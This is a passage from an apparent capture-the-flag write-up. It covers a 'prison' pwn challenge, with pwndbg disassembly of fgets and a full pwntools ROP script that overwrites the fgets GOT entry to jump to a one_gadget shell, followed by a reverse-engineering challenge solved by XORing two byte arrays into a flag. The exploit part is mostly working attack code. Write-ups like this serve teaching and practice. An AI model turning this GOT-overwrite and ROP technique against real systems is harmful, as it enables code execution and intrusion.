function. Let’s take a look to know why I choose this function.
pwndbg> x/40i 0x7ffff7e1144c=> 0x7ffff7e1144c <_IO_fgets+204>: pop rbx 0x7ffff7e1144d <_IO_fgets+205>: mov rax,r14 0x7ffff7e11450 <_IO_fgets+208>: pop rbp 0x7ffff7e11451 <_IO_fgets+209>: pop r12 0x7ffff7e11453 <_IO_fgets+211>: pop r13 0x7ffff7e11455 <_IO_fgets+213>: pop r14 0x7ffff7e11457 <_IO_fgets+215>: ret 0x7ffff7e11458 <_IO_fgets+216>: nop DWORD PTR [rax+rax*1+0x0] 0x7ffff7e11460 <_IO_fgets+224>: test dl,0x20 0x7ffff7e11463 <_IO_fgets+227>: je 0x7ffff7e11472 <_IO_fgets+242> 0x7ffff7e11465 <_IO_fgets+229>: mov rcx,QWORD PTR [rip+0x19a9a4] # 0x7ffff7fabe10 0x7ffff7e1146c <_IO_fgets+236>: cmp DWORD PTR fs:[rcx],0xb 0x7ffff7e11470 <_IO_fgets+240>: jne 0x7ffff7e1141b <_IO_fgets+155> 0x7ffff7e11472 <_IO_fgets+242>: mov BYTE PTR [r12+rax*1],0x0 0x7ffff7e11477 <_IO_fgets+247>: mov edx,DWORD PTR [rbp+0x0] 0x7ffff7e1147a <_IO_fgets+250>: mov r14,r12 0x7ffff7e1147d <_IO_fgets+253>: or r13d,edx 0x7ffff7e11480 <_IO_fgets+256>: mov DWORD PTR [rbp+0x0],r13d 0x7ffff7e11484 <_IO_fgets+260>: and r13d,0x8000 0x7ffff7e1148b <_IO_fgets+267>: jne 0x7ffff7e1144c <_IO_fgets+204> 0x7ffff7e1148d <_IO_fgets+269>: jmp 0x7ffff7e1142b <_IO_fgets+171> 0x7ffff7e1148f <_IO_fgets+271>: nop 0x7ffff7e11490 <_IO_fgets+272>: xor r14d,r14d 0x7ffff7e11493 <_IO_fgets+275>: pop rbx 0x7ffff7e11494 <_IO_fgets+276>: pop rbp 0x7ffff7e11495 <_IO_fgets+277>: mov rax,r14 0x7ffff7e11498 <_IO_fgets+280>: pop r12 0x7ffff7e1149a <_IO_fgets+282>: pop r13 0x7ffff7e1149c <_IO_fgets+284>: pop r14 0x7ffff7e1149e <_IO_fgets+286>: ret 0x7ffff7e1149f <_IO_fgets+287>: nop 0x7ffff7e114a0 <_IO_fgets+288>: mov BYTE PTR [rdi],0x0 0x7ffff7e114a3 <_IO_fgets+291>: mov r14,rdi 0x7ffff7e114a6 <_IO_fgets+294>: jmp 0x7ffff7e1144c <_IO_fgets+204> 0x7ffff7e114a8 <_IO_fgets+296>: nop DWORD PTR [rax+rax*1+0x0] 0x7ffff7e114b0 <_IO_fgets+304>: call 0x7ffff7e23300 <__GI___lll_lock_wake_private> 0x7ffff7e114b5 <_IO_fgets+309>: jmp 0x7ffff7e1144c <_IO_fgets+204> 0x7ffff7e114b7 <_IO_fgets+311>: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7e114c0 <_IO_fgets+320>: call 0x7ffff7e23230 <__GI___lll_lock_wait_private> 0x7ffff7e114c5 <_IO_fgets+325>: jmp 0x7ffff7e113d5 <_IO_fgets+85>
We see that in fgets, after executing a series of instructions to read our input and it will return, and when returning there will be pop
instructions here. The question here is how can we use them without having to read
again? Well the answer will be _IO_fgets+288
, in this section there will be a jump back to a few pop
sequences, so we just need to use write what where
to change fgets to run there. And now when we execute fgets, we will execute pop
s. And with these pop
s we can control rbp
from there we execute write what where
one more time to change the address in fgets
to one gadget
36 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./prison_patched', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw, aslr=False) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbgb *0x40070eb *0x400719b *fgets+208c'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
offset = 40 pop_rbp = 0x400608 pop_rdi = 0x400782 www = 0x400668 # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret add_bl_dh = 0x4005cf # add bl, dh ; ret got_fgets = 0x601020 plt_fgets = 0x400560 one_gadget = 0x6c842 # 0xebce2
payload = flat({ offset: [ pop_rbp, got_fgets + 0x3d,
add_bl_dh, add_bl_dh, add_bl_dh,
www, www, www,
pop_rdi, 0x601000, plt_fgets, one_gadget, got_fgets + 0x3d, 0, 0, 0, www, plt_fgets, ] }, filler=b'A')
sl(payload)
interactive()
if __name__ == '__main__': exploit()
rev/deobfuscation
void __noreturn start(){ signed __int64 v0; // rax signed __int64 v1; // rax __int64 i; // rcx char n10; // al __int64 j; // rcx signed __int64 v5; // rax signed __int64 v6; // rax signed __int64 v7; // rax
v0 = sys_write( 1u, buf, // "Enter the password: " 0x15uLL); v1 = sys_read(0, buf_0, 0x80uLL); for ( i = 0LL; ; ++i ) { n10 = buf_0[i]; if ( n10 == '\n' ) break; *(_BYTE *)(i + 4202780) = byte_402034[i] ^ n10; } if ( i == 52 ) { for ( j = 0LL; j < 52; ++j ) { if ( byte_402000[j] != *(_BYTE *)(j + 4202780) ) goto LABEL_9; } buf_0[j] = 0; v5 = sys_write( 1u, aCorrect, // "Correct! " 9uLL); } else {LABEL_9: v6 = sys_write( 1u, aWrongPassword, // "Wrong password. " 0x12uLL); } v7 = sys_exit(0);}
To make it easier to understand, the program will loop twice. The first loop will XOR our input with byte_402034
and store it in 0x40211C
. The second loop will iterate through the characters to check if the XOR is equal to byte_402000
. In short, it will look like this:
byte_402000[i] = byte_402034[i] ^ n10
So we want to find n10
we just need to XOR the other two together
#!/usr/bin/env python3
byte_402034 = [ 0x75, 0x6F, 0x64, 0x65, 0x61, 0x71, 0x6F, 0x75, 0x75, 0x76, 0x69, 0x45, 0x60, 0x70, 0x7F, 0x65, 0x54, 0x77, 0x63, 0x74, 0x68, 0x42, 0x53, 0x54, 0x45, 0x03, 0x3D, 0x7F, 0x31, 0x58, 0x75, 0x46, 0x75, 0x44, 0x60, 0x78, 0x6A, 0x74, 0x51, 0x4F, 0x1C, 0x5F, 0x76, 0x79, 0x0B, 0x2D, 0x75, 0x45, 0x4B, 0x55, 0x66, 0x78,]
byte_402000 = [ 0x20, 0x22, 0x20, 0x26, 0x35, 0x37, 0x14, 0x07, 0x46, 0x00, 0x5A, 0x17, 0x44, 0x35, 0x52, 0x0C, 0x70, 0x28, 0x37, 0x1C, 0x5B, 0x1D, 0x70, 0x16, 0x76, 0x50, 0x69, 0x5C, 0x6E, 0x6C, 0x1B, 0x12, 0x54, 0x69, 0x2D, 0x38, 0x06, 0x23, 0x11, 0x3D,
0x2F, 0x00, 0x02, 0x4A, 0x68, 0x45, 0x3B, 0x64, 0x1A, 0x20, 0x55, 0x05,]
flag = ''.join( chr(byte_402034[i] ^ byte_402000[i]) for i in range (52))
print(flag)